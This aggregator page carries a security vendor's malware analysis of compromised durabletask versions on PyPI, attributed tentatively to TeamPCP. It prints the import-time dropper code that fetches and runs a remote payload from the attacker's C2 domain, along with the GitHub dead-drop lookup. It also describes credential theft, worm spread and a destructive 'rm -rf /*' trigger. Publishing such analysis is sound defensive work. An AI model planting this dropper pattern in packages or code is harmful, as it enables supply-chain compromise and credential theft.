Security News

Cybersecurity news aggregator

πŸ”“
HIGH Vulnerabilities Reddit r/netsec

durabletask (Microsoft's Python Durable Task client) compromised by TeamPCP | same Mini Shai-Hulud payload as last week's TanStack wave

  • What: Malicious versions of durabletask on PyPI
  • Impact: Developers at risk of credential theft
Read Full Article →

Blog Vulnerabilities & Threats Microsoft's durabletask package on PyPi Compromised. Mini Shai Hulud attacks again... again! Microsoft's durabletask package on PyPi Compromised. Mini Shai Hulud attacks again... again! Written by Raphael Silva Published on: May 19, 2026 We've identified three malicious versions of durabletask on PyPI, 1.4.1 , 1.4.2 , and 1.4.3 , that contain a dropper injected directly into the package's Python source files. When a developer installs any of these versions and imports the library, the dropper silently fetches and executes a second-stage payload from a three-day-old C2 domain. That second stage is a full-featured infostealer and worm. It harvests credentials from every major cloud provider, password manager, and developer tool it can find, encrypts the results with an attacker-controlled RSA key, and ships them off to C2. If the machine is running inside AWS, it propagates itself to other EC2 instances using SSM. If it's inside Kubernetes, it propagates through kubectl exec . And if it detects Israeli or Iranian system settings, there's a 1-in-6 chance it plays audio and then runs rm -rf /* . This does smell of more TeamPCP shenanigans, but we can’t be sure for now. What happened durabletask is a Python package for the Durable Task Framework, a workflow orchestration library associated with Microsoft Azure. It's the kind of package you'd expect to find in cloud-native Python environments running automation, CI/CD, or Azure-connected workloads, which is exactly the kind of environment this campaign is designed to hit. Starting with version 1.4.1 , the package's __init__.py was backdoored with a dropper that fires at import time: import os import platform import subprocess import urllib.request if platform.system() == "Linux" : try : urllib.request.urlretrieve( "https://check.git-service[.]com/rope.pyz" , "/tmp/managed.pyz" ) with open (os.devnull, "w" ) as f: subprocess.Popen( [ "python3" , "/tmp/managed.pyz" ], stdout=f, stderr=f, stdin=f, start_new_session= True ) except Exception: pass The dropper is Linux-only, completely silent, and runs in a detached process that survives the parent dying. The broad except: pass swallows any errors. A developer running import durabletask for the first time would see nothing at all. The versions tell a story All three versions carry the same dropper code, but each release injected it into more files. This is a deliberate strategy to maximise the chance that at least one import path triggers the payload. Version Infected Files 1.4.1 durabletask/__init__.py 1.4.2 + durabletask/task.py 1.4.3 + durabletask/entities/__init__.py + durabletask/extensions/__init__.py + durabletask/payload/__init__.py By version 1.4.3 , the dropper fires from five separate entry points. A developer who only touches from durabletask.entities import ... is still compromised. The C2 domain, payload URL, and dropper logic are byte-for-byte identical across all three versions, the only change is coverage. The payload: rope.pyz The dropper fetches rope.pyz from hxxps://check.git-service[.]com/rope.pyz . The domain was registered on May 16, 2026, three days before this analysis. It resolves via NameSilo with privacy-guarded registration. rope.pyz is a Python zipapp: a ZIP archive with a __main__.py entrypoint that Python can execute directly. It contains 19 files across a structured module layout. SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce Before doing anything, __main__.py runs four checks: Platform β€” exits if not Linux. Locale β€” exits if $LANG starts with ru . The payload will not run on Russian-locale systems. CPU count β€” exits if os.cpu_count() <= 2 . This kills most automated sandboxes. Dependencies β€” silently installs cryptography via pip if not present, with a --break-system-packages fallback. Only after clearing all four does it hand off to the main orchestration module. The FIRESCALE dead-drop The payload first checks in with hxxps://check.git-service[.]com/v1/models . If that endpoint returns HTTP 200 , the response body is treated as a base64-encoded Python script and handed to roulette.py for execution β€” this is the attacker's remote activation channel. If the primary C2 is unreachable, the payload falls back to a GitHub-based dead-drop: req = urllib.request.Request( "https://api.github.com/search/commits" "?q=FIRESCALE" "&sort=committer-date" "&order=desc" "&per_page=30" , headers={ "Accept" : "application/vnd.github.cloak-preview+json" , "User-Agent" : "git/2.39.0" , }, ) It searches GitHub's commit search API for the string FIRESCALE . Each matching commit is inspected for the pattern: FIRESCALE <base64_url>.<base64_signatue> The base64-encoded URL is only accepted if its RSA-SHA256 signature verifies against a hardcoded 4096-bit public key. That means only the attacker β€” the holder of the corresponding private key β€” can publish a valid new C2 address. The GitHub search API becomes a censorship-resistant, cryptographically auth...

Share this article